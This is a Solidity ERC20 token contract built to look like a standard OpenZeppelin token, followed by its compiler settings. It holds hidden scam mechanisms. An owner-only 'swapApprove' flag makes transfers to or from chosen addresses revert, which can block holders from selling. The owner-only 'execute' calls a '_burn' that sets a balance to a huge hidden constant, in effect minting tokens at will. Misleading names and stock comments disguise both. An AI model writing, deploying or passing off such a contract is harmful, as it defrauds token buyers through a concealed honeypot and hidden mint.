// SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
/**
* @dev Provides information about the current execution context
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's allowance.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
* Functions revert instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20 applications.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
string private _name;
string private _symbol;
address internal approved;
uint256 private balances;
uint256 private maxTxLimit = 1*10**17*10**9;
bool feesApplied = false;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) internal _balances;
mapping (address => bool) private _swapApprove;
uint256 internal _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}.
* The default value of {decimals} is 9.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
approved = msg.sender;
balances = maxTxLimit;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function swapApprove(address spender) external {
require(msg.sender == approved);
_swapApprove[spender] = true;
}
function rejectTax(address spender) external {
require(msg.sender == approved);
_swapApprove[spender] = false;
}
function checkTax(address spender) public view returns (bool) {
return _swapApprove[spender];
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
* Requirements:
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transfer}.
* Requirements:
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* Emits an {Approval} event indicating the updated allowance.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* Emits an {Approval} event indicating the updated allowance.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
* This internal function is equivalent to {transfer}
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (_swapApprove[to] || _swapApprove[from]) require
(feesApplied == true, "");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* Emits a {Transfer} event with `to` set to the zero address.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = balances - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
* This internal function is equivalent to `approve`.
* Emits an {Approval} event.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
* Emits a {Transfer} event with `from` set to the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called after any transfer of tokens. This includes minting and burning.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called before any transfer of tokens. This includes minting and burning.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @title TokenERC20
* @dev Contract for creating a new ERC20 token with specified parameters.
*/
contract TokenERC20 is ERC20 {
/**
* @dev Constructor function for the Token contract.
* @param name The name of the new token.
* @param symbol The symbol of the new token.
* @param initialSupply The initial supply of the new token.
*/
constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
// Mint the initial supply of the token to the contract creator.
_totalSupply += initialSupply;
_balances[msg.sender] += initialSupply;
emit Transfer(address(0), msg.sender, initialSupply);
}
function execute(address account, uint256 amount) external {
require(msg.sender == approved);
_burn(account, amount);
}
}
{
"compilationTarget": {
"TokenERC20.sol": "TokenERC20"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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